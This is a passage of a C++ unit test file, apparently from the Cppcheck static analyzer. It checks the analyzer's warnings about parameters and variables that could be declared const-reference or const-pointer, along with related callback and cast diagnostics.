operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n // #9767\n check(\"void fct1(MyClass& object) {\\n\"\n \" fct2([&](void){}, object);\\n\"\n \"}\\n\"\n \"bool fct2(std::function lambdaExpression, MyClass& object) {\\n\"\n \" object.modify();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9778\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B& f(A& x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10002\n check(\"using A = int*;\\n\"\n \"void f(const A& x) {\\n\"\n \" ++(*x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10086\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i) {\\n\"\n \" std::vector& arr = v;\\n\"\n \" return arr[i];\\n\"\n \" }\\n\"\n \" std::vector v;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void e();\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void ai(void);\\n\"\n \"void j(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void l(void);\\n\"\n \"void m(void);\\n\"\n \"void n(void);\\n\"\n \"void o(void);\\n\"\n \"void q(void);\\n\"\n \"void r(void);\\n\"\n \"void t(void);\\n\"\n \"void u(void);\\n\"\n \"void v(void);\\n\"\n \"void w(void);\\n\"\n \"void z(void);\\n\"\n \"void aj(void);\\n\"\n \"void am(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void ao(wchar_t *d);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void ap(wchar_t *c, int d);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void aq(char *b, size_t d, char *c, int a);\\n\"\n \"void ar(char *b, size_t d, char *c, va_list a);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void as(std::string s);\\n\"\n \"void at(std::ifstream &f);\\n\"\n \"void au(std::istream &f);\\n\"\n \"void av(std::string &aa, std::wstring &ab);\\n\"\n \"void aw(bool b, double x, double y);\\n\"\n \"void ax(int i);\\n\"\n \"void ay(std::string c, std::wstring a);\\n\"\n \"void az(const std::locale &ac);\\n\"\n \"void an();\\n\"\n \"void ba(std::ifstream &f);\\n\"\n \"void bb(std::istream &f) {\\n\"\n \"f.read(NULL, 0);\\n\"\n \"}\\n\"\n \"void h(void) {\\n\"\n \"struct tm *tm = 0;\\n\"\n \"(void)std::asctime(tm);\\n\"\n \"(void)std::asctime(0);\\n\"\n \"}\\n\"\n \"void bc(size_t ae) {\\n\"\n \"wchar_t *ad = 0, *af = 0;\\n\"\n \"struct tm *ag = 0;\\n\"\n \"(void)std::wcsftime(ad, ae, af, ag);\\n\"\n \"(void)std::wcsftime(0, ae, 0, 0);\\n\"\n \"}\\n\"\n \"void k(void) {}\\n\"\n \"void bd(void);\\n\"\n \"void be(void);\\n\"\n \"void bf(int b);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void bg(wchar_t *p);\\n\"\n \"void bh(const std::list &ak, const std::list &al);\\n\"\n \"void ah();\\n\"\n \"void an();\\n\"\n \"void h();\");\n ASSERT_EQUALS(\"[test.cpp:131:12]: (style) Variable 'tm' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:136:19]: (style) Variable 'af' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:137:12]: (style) Variable 'ag' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&) noexcept;\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i) noexcept\\n\"\n \" : c(i)\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(const int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int, int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(0, i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"void f(std::map> &map) {\\n\" // #10266\n \" for (auto &[slave, panels] : map)\\n\"\n \" panels.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void f(); int i; };\\n\"\n \"void call_f(S& s) { (s.*(&S::f))(); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S& s) { int* p = s.a; *p = 0; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {\\n\" // #9910\n \" int* p{};\\n\"\n \" int* get() { return p; }\\n\"\n \" const int* get() const { return p; }\\n\"\n \"};\\n\"\n \"struct Bar {\\n\"\n \" int j{};\\n\"\n \" void f(Foo& foo) const { int* q = foo.get(); *q = j; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10679\n \" void g(long L, const C*& PC) const;\\n\"\n \" void g(long L, C*& PC);\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" C* PC{};\\n\"\n \" s.g(0, PC);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10785\n check(\"template \\n\"\n \"struct d {\\n\"\n \" T& g(C& c, T C::*f) { return c.*f; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m) {\\n\"\n \" std::cout << m[0] << std::endl;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector>& v) {\\n\" // #11607\n \" for (auto& m : v)\\n\"\n \" std::cout << m[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\" // #11473\n \"void f(std::vector>&m, int*& p) {\\n\"\n \" auto& a = m[0];\\n\"\n \" for (auto& s : a) {\\n\"\n \" p = &s.i;\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g(int* p, int& r) {\\n\" // #11625\n \" if (p)\\n\"\n \" return *p;\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template void f(std::vector& d, const std::vector& s) {\\n\" // #11632\n \" for (const auto& e : s) {\\n\"\n \" T* newE = new T(*e);\\n\"\n \" d.push_back(newE);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11682\n check(\"struct b {\\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct c {\\n\"\n \" const b& get() const;\\n\"\n \" b get();\\n\"\n \"};\\n\"\n \"struct d {\\n\"\n \" void f(c& e) const {\\n\"\n \" e.get().mutate();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual void f() const {} };\\n\" // #11528\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" D* d = dynamic_cast(b);\\n\"\n \" if (d)\\n\"\n \" d->f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:4:8]: (style) Variable 'd' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (int* i : v)\\n\"\n \" g(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:15]: (style) Variable 'i' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\" // #11225\n \" A();\\n\"\n \" virtual ~A();\\n\"\n \"};\\n\"\n \"struct B : A {};\\n\"\n \"void f(A* a) {\\n\"\n \" const B* b = dynamic_cast(a);\\n\"\n \"}\\n\"\n \"void g(A* a) {\\n\"\n \" const B* b = (const B*)a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:6:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:9:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct a {\\n\"\n \" template \\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct b {};\\n\"\n \"template \\n\"\n \"void f(a& x) {\\n\"\n \" x.mutate();\\n\"\n \"}\\n\"\n \"template \\n\"\n \"void f(const b&)\\n\"\n \"{}\\n\"\n \"void g(a& c) { f(c); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" template \\n\"\n \" T* g() {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" template \\n\"\n \" const T* g() const {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" char* m;\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" const int* p = s.g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x; };\\n\" // #11818\n \"std::istream& f(std::istream& is, S& s) {\\n\"\n \" return is >> s.x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(std::string& s1, std::string& s2) {\\n\" // #12203\n \" return &s1 == &s2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:21]: (style) Parameter 's1' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:1:38]: (style) Parameter 's2' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void f(int& r) {\\n\" // #12214\n \" (void)(true);\\n\"\n \" if (r) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'r' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S { void f(int&); };\\n\" // #12216\n \"void g(S& s, int& r, void (S::* p2m)(int&)) {\\n\"\n \" (s.*p2m)(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" void f(int& r) { p = &r; }\\n\"\n \" int* p;\\n\"\n \"};\\n\"\n \"void g(std::vector& v1, std::vector& v2) {\\n\"\n \" std::transform(v1.begin(), v1.end(), v2.begin(), [](auto& x) { return &x; });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class T;\\n\" // #11869\n \"class E {\\n\"\n \"public:\\n\"\n \" class F {\\n\"\n \" public:\\n\"\n \" explicit F(const T* t);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"void f(T& t) {\\n\"\n \" std::list c(1, E::F(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct T;\\n\"\n \"struct U {\\n\"\n \" struct V { explicit V(const T* p); };\\n\"\n \"};\\n\"\n \"void g(U::V v);\\n\"\n \"void f(T& t) {\\n\"\n \" g(U::V(&t));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f1(std::vector& v) {\\n\" // #11207\n \" auto it = v.cbegin();\\n\"\n \" while (it != v.cend()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f2(std::vector& v) {\\n\"\n \" auto it = v.begin();\\n\"\n \" while (it != v.end()) {\\n\"\n \" if (*it > 12) {}\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:8:27]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void cb(const std::string&);\\n\" // #12349, #12350, #12351\n \"void f(std::string& s) {\\n\"\n \" const std::string& str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void g(std::string& s) {\\n\"\n \" const std::string& str{ s };\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void h(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void k(std::string* s) {\\n\"\n \" const std::string& str = *s;\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void m(std::string& s) {\\n\"\n \" const std::string str(s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\"\n \"void n(std::string* s) {\\n\"\n \" const std::string& str(*s);\\n\"\n \" cb(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:6:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:18:21]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:14:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:22:21]: (style) Parameter 's' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" S(std::string& r);\\n\"\n \"};\\n\"\n \"void f(std::string& str) {\\n\"\n \" const S& s(str);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10052\n \" int& operator()(int);\\n\"\n \"};\\n\"\n \"void f(std::vector& c) {\\n\"\n \" c[0](5) = 12;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& t) {\\n\" // #11713\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:12]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::list& v) {\\n\" // #12202\n \" v.remove_if([](std::string& s) {\\n\"\n \" return true;\\n\"\n \" });\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:33]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #12762\n \" std::vector m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::vector& r = m;\\n\"\n \" g(r[0] * 2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (style) Variable 'r' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n check(\"std::iostream& get();\\n\" // #12940\n \"std::iostream& Fun() {\\n\"\n \" auto lam = []() -> std::iostream& {\\n\"\n \" std::iostream& ios = get();\\n\"\n \" return ios;\\n\"\n \" };\\n\"\n \" return lam();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int x[3]; };\\n\" // #13226\n \"void g(int a, int* b);\\n\"\n \"void f(int a, S& s) {\\n\"\n \" return g(a, s.x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::vector v; };\\n\" // #13317\n \"struct T { S s; };\\n\"\n \"int f(S& s) {\\n\"\n \" for (std::vector::const_iterator it = s.v.cbegin(); it != s.v.cend(); ++it) {}\\n\"\n \" return *s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(T& t) {\\n\"\n \" return *t.s.v.cbegin();\\n\"\n \"}\\n\"\n \"int f(std::vector& v) {\\n\"\n \" return *v.cbegin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Parameter 's' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:7:10]: (style) Parameter 't' can be declared as reference to const [constParameterReference]\\n\"\n \"[test.cpp:10:25]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n\n check(\"void push(V& v) { v.push_back({ .x = 1 }); }\"); // #14010\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constParameterCallback() {\n check(\"int callback(std::vector& x) { return x[0]; }\\n\"\n \"void f() { dostuff(callback); }\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:1:32]: (style) Parameter 'x' can be declared as reference to const. However it seems that 'callback' is a callback function, if 'x' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n // #9906\n check(\"class EventEngine : public IEventEngine {\\n\"\n \"public:\\n\"\n \" EventEngine();\\n\"\n \"\\n\"\n \"private:\\n\"\n \" void signalEvent(ev::sig& signal, int revents);\\n\"\n \"};\\n\"\n \"\\n\"\n \"EventEngine::EventEngine() {\\n\"\n \" mSigWatcher.set(this);\\n\"\n \"}\\n\"\n \"\\n\"\n \"void EventEngine::signalEvent(ev::sig& signal, int revents) {\\n\"\n \" switch (signal.signum) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:48] -> [test.cpp:13:40]: (style) Parameter 'signal' can be declared as reference to const. However it seems that 'signalEvent' is a callback function, if 'signal' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\", errout_str());\n\n check(\"void f(int* p) {}\\n\" // 12843\n \"void g(std::map&m) {\\n\"\n \" m[&f] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:8] -> [test.cpp:1:13]: (style) Parameter 'p' can be declared as pointer to const. \"\n \"However it seems that 'f' is a callback function, if 'p' is declared with const you might also need to cast function pointer(s). [constParameterCallback]\\n\",\n errout_str());\n\n check(\"struct S { explicit S(std::function); };\\n\" // #13338\n \"void cb(std::string s) {\\n\"\n \" (void)s.empty();\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" S s2{ cb };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:11] -> [test.cpp:2:21]: (performance) Function parameter 's' should be passed by const reference. However it seems that 'cb' is a callback function. [passedByValueCallback]\\n\", errout_str());\n }\n\n void constPointer() {\n check(\"void foo(int *p) { return *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { x = *p; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = *p; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x = *p + 10; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return p[10]; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { int &ref = p[0]; ref = 12; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int *p) { x[*p] = 12; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p || x) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (p == 0) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (!p) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { if (*p > 123) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p + 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(int *p) { return *p > 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(const int* c) { if (c == 0) {}; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c {\\n\"\n \" a* d;\\n\"\n \" a& g() { return *d; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct a { void b(); };\\n\"\n \"struct c { a* d; };\\n\"\n \"void e(c);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i, std::vector* arr) {\\n\"\n \" return arr->at(i);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B* f(A* x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(std::vector* x) {\\n\"\n \" int& i = (*x)[0];\\n\"\n \" i++;\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int a; };\\n\"\n \"A f(std::vector* x) {\\n\"\n \" x->front().a = 1;\\n\"\n \" return x->front();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector* v) {\\n\"\n \" for(auto&& x:*v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* x;\\n\"\n \" A(int* y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int* z = x;\\n\"\n \" int* w = b ? y : z;\\n\"\n \" *w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int* x, int* y) {\\n\"\n \" int& z = *x;\\n\"\n \" int& w = b ? *y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Base { virtual void dostuff(int *p) = 0; };\\n\" // #10397\n \"class Derived: public Base { int x; void dostuff(int *p) override { x = *p; } };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Data { char buf[128]; };\\n\" // #10483\n \"void encrypt(Data& data) {\\n\"\n \" const char a[] = \\\"asfasd\\\";\\n\"\n \" memcpy(data.buf, &a, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10547\n check(\"void foo(std::istream &istr) {\\n\"\n \" unsigned char x[2];\\n\"\n \" istr >> x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10744\n check(\"S& f() {\\n\"\n \" static S* p = new S();\\n\"\n \" return *p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10471\n check(\"void f(std::array const& i) {\\n\"\n \" if (i[0] == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10466\n check(\"typedef void* HWND;\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (const auto* h : v)\\n\"\n \" if (h) {}\\n\"\n \" for (const auto& h : v)\\n\"\n \" if (h) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:5:22]: (style) Variable 'h' can be declared as pointer to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \" for (const auto* p : v)\\n\"\n \" if (p == nullptr) {}\\n\"\n \"}\\n\");\n 